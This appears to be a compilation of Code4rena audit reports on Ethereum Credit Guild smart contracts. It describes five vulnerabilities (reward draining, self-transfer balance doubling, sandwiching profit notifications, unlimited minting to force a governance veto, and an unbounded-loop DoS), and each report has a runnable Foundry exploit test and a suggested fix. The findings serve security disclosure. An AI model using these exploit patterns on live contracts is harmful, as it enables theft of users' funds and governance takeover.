Ethereum Credit Guild - critical-or-high's results

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L420 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L409

Vulnerability details

Impact

ProfitManager.claimGaugeRewards() is a permissionless public function. In the protocol, SurplusGuildMinter calls it through claimRewards(). Currently, anyone with GUILD token amount can call it directly. If called directly by a fresh EOA which hasn't interacted with ProfitManager before, the value of _userGaugeProfitIndex will be 0. Therefore, it's possible to claim enormous amount of reward in Credit tokens. Eventually, it leads to the loss of ProfitManager balance in Credit tokens.

Initially, an attacker gets GUILD tokens as a reward for staking Credit tokens in SurplusGuildMinter.

Subsequently, there are two possibilities for the attacker:

1. GUILD token is transferrable, the attacker in a loop transfers GUILD amount to a fresh EOA and calls ProfitManager.claimGaugeRewards() while there exist funds in ProfitManager.
2. GUILD token isn't transferrable. The attacker uses multiple EOAs to get GUILD reward from SurplusGuildMinter. Next, they call ProfitManager.claimGaugeRewards() for each EOA with different terms.

Proof of Concept

1. Alice gets GUILD tokens as a reward from staking in SurplusGuildMinter. She stakes 1000 Credit tokens.
2. Alice calls ProfitManager.claimGaugeRewards() to get 98x profit of 98000 Credit tokens.

// Put inside test/unit/loan/SurplusGuildMinter.t.sol
function test_accesscontrol() public {
    //// Setup

    // Define profit sharing config
    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit
        0, // creditSplit
        0.5e18, // guildSplit
        0, // otherSplit
        address(0) // otherRecipient
    );

    // ProfitManager balance in Credit tokens is set to 1_000_000
    credit.mint(address(profitManager), uint256(1_000_000 * 1e18));

    // Before the attack SurplusGuildMinter works as normal, users stake/unstake,
    // in total 20_000 Credit tokens've been distributes as a reward
    address Eve = address(111);
    credit.mint(address(Eve), 100 * 1e18);
    vm.startPrank(Eve);
    credit.approve(address(sgm), 100 * 1e18);
    sgm.stake(term, 100 * 1e18);
    vm.stopPrank();

    profitManager.notifyPnL(term, 20_000 * 1e18);

    vm.prank(Eve);
    sgm.unstake(term, 100 * 1e18);

    //// Attack

    // 1. Alice stakes Credit tokens in SurplusGuildMinter,
    //    she get GUILD tokens as a reward - https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L259
    address Alice = address(789);

    // Stake in SurplusGuildMinter
    uint256 initalAliceCredits = 1000 * 1e18;
    credit.mint(address(Alice), initalAliceCredits);
    vm.startPrank(Alice);
    credit.approve(address(sgm), initalAliceCredits);
    sgm.stake(term, initalAliceCredits);
    vm.stopPrank();

    // Distribute 1000 Credit tokens as a reward after Alice staked
    profitManager.notifyPnL(term, 1000 * 1e18);

    // Alice gets reward in GUILD tokens
    require(guild.balanceOf(Alice) == 0);
    vm.prank(Alice);
    sgm.getRewards(Alice, term);
    require(guild.balanceOf(Alice) > 0);

    uint256 guildBalance = guild.balanceOf(Alice);


    // 2. Alice uses amount of GUILD reward to drain ProfitManager balance
    //    by calling ProfitManager.claimGaugeRewards() directly!

    vm.startPrank(Alice);
    guild.incrementGauge(term, uint112(guildBalance));
    profitManager.claimGaugeRewards(Alice, term);
    vm.stopPrank();

    // Alice gets > 98x profit!
    // >  98_000 Credit tokens, initialy she has 1_000 Credit tokens
    require(
        credit.balanceOf(Alice) > initalAliceCredits * 98
    );

    // 3. Alice has two options to continue the attack:
    //    + If GUILD token is transferable, she can transfer balance to another EOA
    //      and call profitManager.claimGaugeRewards() to get another 98_000 Credit 
    //      tokens for free.
    //    + She can unstake Credit tokens from SurplusGuildMinter, move balance to 
    //      another EOA, stake from new EOA, receive GUILD reward, call 
    //      profitManager.claimGaugeRewards() from new EOA for all terms available.
}

Run Poc with the following command.

forge test --mp test/unit/loan/SurplusGuildMinter.t.sol --mt test_accesscontrol

Tools Used

Manual review.

Recommended Mitigation Steps

Protect ProfitManager.claimGaugeRewards() with access control by introducing a new role. Assign the role to the SurplusGuildMinter contract.

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L559-L560

Vulnerability details

Impact

An attacker can get free Credit tokens by subscribing to rebasing and self-transferring tokens in a loop, where each self-transfer doubles the balance.

The transfer() function caches balances of from and to in the beginning. As the next step, cached balance of the recipient is added to the transferred amount. Therefore, if from and to are the same address, the balance is doubled eventually. Importantly, transfer() allows to use the same address for from and to.

Actually, the attacker takes tokens from __unmintedRebaseRewards and other users aren't able to redeem or transfer Credit tokens after the attack, since the call reverts due to the arithmetic underflow on the following line.

Proof of Concept

1. Alice, Bob, and Eve have 100 USDC in the beginning. Bob and Eve use 100 USDC to mint 100 Credit tokens by calling SimplePSM.mintAndEnterRebase().
2. After that a reward is distributed by calling ERC20RebaseDistributor.distribute().
3. Alice uses 100 USDC to mint 100 Credit tokens by calling SimplePSM.mintAndEnterRebase().
4. Alice makes 5 self-transfers of her balance in Credit tokens.
5. Alice gains 32x profit - 3200 Credit tokens.
6. When Bob tries to redeem or transfer Credit tokens, the call reverts.

// Put inside test/unit/loan/SimplePSM.t.sol
function test_selftransfer() public {
    address Alice = address(100);
    address Eve = address(101);
    address Bob = address(102);

    uint256 mintIn = 100e6; // USDC amount

    token.mint(Alice, mintIn);
    token.mint(Eve, mintIn);
    token.mint(Bob, mintIn);

    // Eve mints Credit tokens and subscribes for rebasing
    vm.startPrank(Eve);
    token.approve(address(psm), mintIn);
    psm.mintAndEnterRebase(mintIn);
    vm.stopPrank();

    // Bob mints Credit tokens and subscribes for rebasing
    vm.startPrank(Bob);
    token.approve(address(psm), mintIn);
    psm.mintAndEnterRebase(mintIn);
    vm.stopPrank();

    // Distribute shares to all Credit holders who subscribed for rebasing: Eve & Bob.
    // We distribute 100K Credit tokens.
    credit.mint(address(this), 100_000 * 1e18);
    credit.distribute(100_000 * 1e18);

    // Wait for DISTRIBUTION_PERIOD = 30 days
    // Actually, we don't need to wait 30 days in full
    vm.warp(block.timestamp + 30 days);

    //// Attack

    // 1. Alice mints Credit tokens and subscribes for rebasing.
    // 2. Alice transfers Credit tokens to herself 5 times, thus increasing
    //    her balance ~2x for each transfer!
    vm.startPrank(Alice);

    token.approve(address(psm), mintIn);
    psm.mintAndEnterRebase(mintIn);

    uint256 balAlice = credit.balanceOf(Alice);

    require(balAlice == mintIn * 1e12); // 1x

    // Alice makes ~32x!
    for (uint256 i; i < 5; i++) {
        balAlice = credit.balanceOf(Alice);
        credit.transfer(Alice, balAlice);
    }
    vm.stopPrank();

    require(credit.balanceOf(Alice) > 31 * mintIn * 1e12); // ~32x profit

    // Other users aren't able to redeem/transfer and their funds are locked
    // because Alice took Credit tokens from __unmintedRebaseRewards, this one reverts
    // https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/tokens/ERC20RebaseDistributor.sol#L234
    vm.startPrank(Bob);
    uint256 balBob = credit.balanceOf(Bob);
    credit.approve(address(psm), balBob);
    vm.expectRevert();
    psm.redeem(Bob, balBob);

    vm.expectRevert();
    credit.transfer(Eve, balBob);
    vm.stopPrank();
}

Run Poc with the following command.

forge test --mp test/unit/loan/SimplePSM.t.sol --mt test_selftransfer

Tools Used

Manual review

Recommended Mitigation Steps

Deny self-transfer, check that from and to are distinct addresses inside ERC20RebaseDistributor.transfer() and ERC20RebaseDistributor.transferFrom().

Assessed type

ERC20

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L114 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L158

Vulnerability details

Impact

Malicious user can constantly accrue risk-free reward (w/o risk of slashing) from SurplusGuildMinter in Guild and Credit tokens. This achieved by sandwitching LendingTerm.repay(), LendingTerm.partialRepay(), and AuctionHouse.bid() calls that have ProfitManager.notifyPnL(amount > 0) inner-call when the profit is sent to ProfitManager and no loss occur.

Because unstake() doesn't impose any constraints for minimal staking time, it's possible to swiftly stake and unstake credit tokens without the fear of slashing. Moreover, swift stake and unstake doesn't give time for lenders to borrow in a Lending term and block corresponding GUILD tokens in the gauge.

As a synopsis, the sandwitcher has 0 risk of slashing or blocking their Credit tokens.

Proof of Concept

1. A significant distribution of profit occurs.
2. Alice front-runs the transaction with an inner-call to ProfitManager.notifyPnL(amount) with amount > 0 using a transaction that stakes Credit tokens in SurplusGuildMinter.
3. Alice back-runs the transaction with an inner-call to ProfitManager.notifyPnL(amount) using a transaction than unstakes Credit tokens from SurplusGuildMinter.
4. The risk of slashing for Alice is 0. She can use large amounts of Credit tokens risk-free to accrue desired reward.

// Put inside test/unit/loan/SurplusGuildMinter.t.sol
function test_sandwitch() public {
    uint256 aliceCreditAmount = 10_000 ether;
    int256 profitAmount = 1000 ether;
    address alice = address(789);

    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0.5e18, // surplusBufferSplit
        0, // creditSplit
        0.5e18, // guildSplit
        0, // otherSplit
        address(0) // otherRecipient
    );
    credit.mint(address(profitManager), uint256(profitAmount));

    credit.mint(alice, aliceCreditAmount);

    // No reward yet for Alice
    require(credit.balanceOf(alice) == aliceCreditAmount);
    require(guild.balanceOf(alice) == 0);

    // Alice front-runs notifyPnL() and stakes
    vm.startPrank(alice);
    credit.approve(address(sgm), aliceCreditAmount);
    sgm.stake(term, aliceCreditAmount);
    vm.stopPrank();

    // Sandwitched!
    profitManager.notifyPnL(term, profitAmount);

    // Alice back-runs notifyPnL() and unstakes
    vm.startPrank(alice);
    sgm.unstake(term, aliceCreditAmount);
    vm.stopPrank();

    // Alice gets risk-free reward in Credit and Guild tokens
    require(credit.balanceOf(alice) > aliceCreditAmount);
    require(guild.balanceOf(alice) > 0);
}

Run Poc with the following command.

forge test --mp test/unit/loan/SurplusGuildMinter.t.sol --mt test_sandwitch

Tools Used

Manual review.

Recommended Mitigation Steps

SurplusGuildMinter.unstake() should enforce a minimal time interval (or perform redeeming through a queue) so users aren't able to escape slashing. Additionally, there should be a fee for staking/unstaking in SurplusGuildMinter to make the attack unprofitable.

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SimplePSM.sol#L12 https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/governance/ProfitManager.sol#L327

Vulnerability details

Impact

The following contracts in the protocol doesn't use RateLimitedMinter:

• SimplePSM (actually, it imports but never uses RateLimitedMinter)
• ProfitManager

For the SimplePSM case, it leads to goverance attacks. Where an attacker with a sufficient USDC balance can exploit this by minting an unlimited amount of gUSDC tokens in SimplePSM using USDC, bypassing the protocol's safety parameters (1, 2, 3). This allows the attacker to propose or veto certain actions, compromising the governance process.

In the ProfitManager contract, the notifyPnL() function burns credit tokens, but the RateLimitedMinter buffer is never replenished (ProfitManager doesn't use rate limiter). On the other hand, the LendingTerm contract uses the RateLimitedMinter for minting credit tokens, resulting in the depletion of its buffer over time. This can lead to a shortage of tokens in the RateLimitedMinter buffer of LendingTerm contracts at some point.

Proof of Concept

1. The GuildVetoGovernor contract allows to veto and cancel action in the queue by voting with gUSDC tokens. A quorum of 5 million gUSDC is required.
2. Alice possesses 6 million USDC tokens. She takes advantage of the fact that the PSM contract does not utilize a rate limiter and mints 6 million gUSDC tokens in the PSM contract.
3. Alice then utilizes her newly acquired gUSDC tokens to vote in the GuildVetoGovernor contract and cancel any action in the queue.
4. Alice can do minting and voting swiftly. In that case ProfitManager.creditMultiplier doesn't decline. This would allow Alice to redeem her 6 million USDC tokens back without any consequences.

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.13;

import {Test} from "@forge-std/Test.sol";
import {Core} from "@src/core/Core.sol";
import {CoreRoles} from "@src/core/CoreRoles.sol";
import {MockERC20} from "@test/mock/MockERC20.sol";
import {SimplePSM} from "@src/loan/SimplePSM.sol";
import {GuildToken} from "@src/tokens/GuildToken.sol";
import {CreditToken} from "@src/tokens/CreditToken.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {ProfitManager} from "@src/governance/ProfitManager.sol";
import {MockLendingTerm} from "@test/mock/MockLendingTerm.sol";

import {IGovernor} from "@openzeppelin/contracts/governance/IGovernor.sol";
import {GuildVetoGovernor} from "@src/governance/GuildVetoGovernor.sol";
import {GuildTimelockController} from "@src/governance/GuildTimelockController.sol";

import "@forge-std/console.sol";

contract Poc4 is Test {
    Core private core;
    ProfitManager private profitManager;
    CreditToken credit;
    GuildToken guild;
    MockERC20 private pegToken;
    SimplePSM private psm;

    uint256 private constant _TIMELOCK_MIN_DELAY = 12345;

    GuildTimelockController private timelock;
    GuildVetoGovernor private vetoGovernor;

    uint256 __lastCallValue = 0;

    // From deployment script!
    // https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/test/proposals/gips/GIP_0.sol#L104
    uint256 private constant _VETO_QUORUM = 5_000_000e18;

    function setUp() public {
        vm.warp(1679067867);
        vm.roll(16848497);
        core = new Core();
        profitManager = new ProfitManager(address(core));
        credit = new CreditToken(address(core), "gUSDC", "gUSDC");
        guild = new GuildToken(address(core), address(profitManager));
        pegToken = new MockERC20(); // USDC
        pegToken.setDecimals(6);
        psm = new SimplePSM(
            address(core),
            address(profitManager),
            address(credit),
            address(pegToken)
        );

        timelock = new GuildTimelockController(
            address(core),
            _TIMELOCK_MIN_DELAY
        );

        // VetoGovernor for gUSDC
        vetoGovernor = new GuildVetoGovernor(
            address(core),
            address(timelock),
            address(credit),
            _VETO_QUORUM // 5Mil gUSDC
        );

        core.grantRole(CoreRoles.CREDIT_MINTER, address(this));
        core.grantRole(CoreRoles.CREDIT_MINTER, address(psm));
        core.grantRole(CoreRoles.CREDIT_GOVERNANCE_PARAMETERS, address(this));

        core.createRole(CoreRoles.TIMELOCK_EXECUTOR, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.TIMELOCK_EXECUTOR, address(0));
        core.createRole(CoreRoles.TIMELOCK_CANCELLER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.TIMELOCK_CANCELLER, address(vetoGovernor));
        core.createRole(CoreRoles.TIMELOCK_PROPOSER, CoreRoles.GOVERNOR);
        core.grantRole(CoreRoles.TIMELOCK_PROPOSER, address(this));

        core.renounceRole(CoreRoles.GOVERNOR, address(this));

        credit.setMaxDelegates(1);
    }

    function __dummyCall(uint256 val) external {
        __lastCallValue = val;
    }

    function _queueDummyTimelockAction(
        uint256 number
    ) internal returns (bytes32) {
        address[] memory targets = new address[](1);
        targets[0] = address(this);
        uint256[] memory values = new uint256[](1);
        bytes[] memory payloads = new bytes[](1);
        payloads[0] = abi.encodeWithSelector(
            Poc4.__dummyCall.selector,
            number
        );
        bytes32 predecessor = bytes32(0);
        bytes32 salt = keccak256(bytes("dummy call"));
        timelock.scheduleBatch(
            targets,
            values,
            payloads,
            predecessor,
            salt,
            _TIMELOCK_MIN_DELAY
        );
        bytes32 timelockId = timelock.hashOperationBatch(
            targets,
            values,
            payloads,
            0,
            salt
        );

        return timelockId;
    }

    function test_poc() public {
        address Alice = address(100);

        // Schedule an action in the timelock, Alice will veto it.
        bytes32 timelockId = _queueDummyTimelockAction(12345);

        // Afluent Alice has 6Mil of USDC and mints gUSDC in PSM
        // PSM isn't rate-limited (there is no cap)!
        pegToken.mint(Alice, 6_000_000e6);
        vm.startPrank(Alice);
        pegToken.approve(address(psm), 6_000_000e6);
        psm.mint(Alice, 6_000_000e6);
        
        // Alice has enough voting power!
        require(credit.balanceOf(Alice) > vetoGovernor.quorum(0));

        credit.delegate(Alice);

        // Alice creates a Veto proposal
        uint256 proposalId = vetoGovernor.createVeto(timelockId);

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 10);

        // Alice cast a vote against
        vetoGovernor.castVote(proposalId, uint8(GuildVetoGovernor.VoteType.Against));

        vm.roll(block.number + 1);
        vm.warp(block.timestamp + 10);

        (
            uint256 againstVotes,
            uint256 forVotes,
            uint256 abstainVotes
        ) = vetoGovernor.proposalVotes(
            proposalId
        );

        // There is a Quorum, Alice can execute Veto proposal
        require(againstVotes > vetoGovernor.quorum(0));

        vetoGovernor.executeVeto(timelockId);

        vm.stopPrank();
    }
}

Put the Poc inside the test/unit/governance/Poc4.t.sol file and run it with the following command.

forge test --mp test/unit/governance/Poc4.t.sol --mt test_poc

Tools Used

Manual review.

Recommended Mitigation Steps

Use rate limiter across all contracts in the protocol when minting or burning Credit and Guild tokens.

Assessed type

Governance

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/main/src/loan/SurplusGuildMinter.sol#L239

Vulnerability details

Impact

The SurplusGuildMinter.getReward() function invokes ProfitManager.claimRewards() that in a loop claims reward through all gauges/terms for SurplusGuildMinter as follows.

function claimRewards(
    address user
) external returns (uint256 creditEarned) {
    address[] memory gauges = GuildToken(guild).userGauges(user);
    for (uint256 i = 0; i < gauges.length; ) {
        creditEarned += claimGaugeRewards(user, gauges[i]);
        unchecked {
            ++i;
        }
    }
}

Whereas SurplusGuildMinter works with all gauges, and there is no upper limit for the GuildToken.setMaxGauges(max), the length of loop could be unbounded.

Each call to stake(), unstake(), or getReward() of SurplusGuildMinter will either consume excessive amount of gas, or revert with Out-Of-Gas reason after certain number of gauges/terms were added.

Proof of Concept

1. Alice stakes Credit tokens in SurplusGuildMinter.
2. Some number of terms are added to the protocol.
3. When further Alice tries to call stake(), unstake(), or getReward(), the call reverts due to Out-Of-Gas reason.

// Put inside test/unit/loan/SurplusGuildMinter.t.sol
function test_dos() public {
    address alice = address(789);

    // Number of terms that triggers OOG for stake/unstake/getReward
    uint256 numTerms = 6500;
    address[] memory terms = new address[](numTerms);

    guild.setMaxGauges(numTerms + 1);

    credit.mint(alice, 10e18);

    // Alice stakes Credit tokens
    vm.startPrank(alice);
    credit.approve(address(sgm), 10e18);
    sgm.stake(term, 10e18);
    vm.stopPrank();

    // Create terms
    credit.mint(address(this), 10e18 * numTerms);
    credit.approve(address(sgm), 10e18 * numTerms);
    for (uint256 i; i < numTerms; i++) {
        address _term = address(new MockLendingTerm(address(core)));
        terms[i] = _term;
        guild.addGauge(1, _term); // gaugeType = 1
        sgm.stake(_term, 10e18);
    }

    uint256 gasBefore =  gasleft();

    // Alice tries to call getRewards()
    sgm.getRewards(alice, term);

    uint256 gasAfter =  gasleft();

    uint256 BLOCK_GAS_LIMIT = 30e6;
    
    // getRewards() consumes more gas than block gas limit of 30Mil
    // reverts with OOG
    require(gasBefore - gasAfter > BLOCK_GAS_LIMIT);
}

Run Poc with the following command.

forge test --mp test/unit/loan/SurplusGuildMinter.t.sol --mt test_dos

Tools Used

Manual review.

Recommended Mitigation Steps

Inside SurplusGuildMinter.getReward(user, term) call

ProfitManager(profitManager).claimRewards(address(this), term)

instead of

ProfitManager(profitManager).claimRewards(address(this))

Since the purpose of SurplusGuildMinter.getReward(user, term) is to update the profit index only for a specific term, so there is no need to update profit indexes across all available terms.

Assessed type

DoS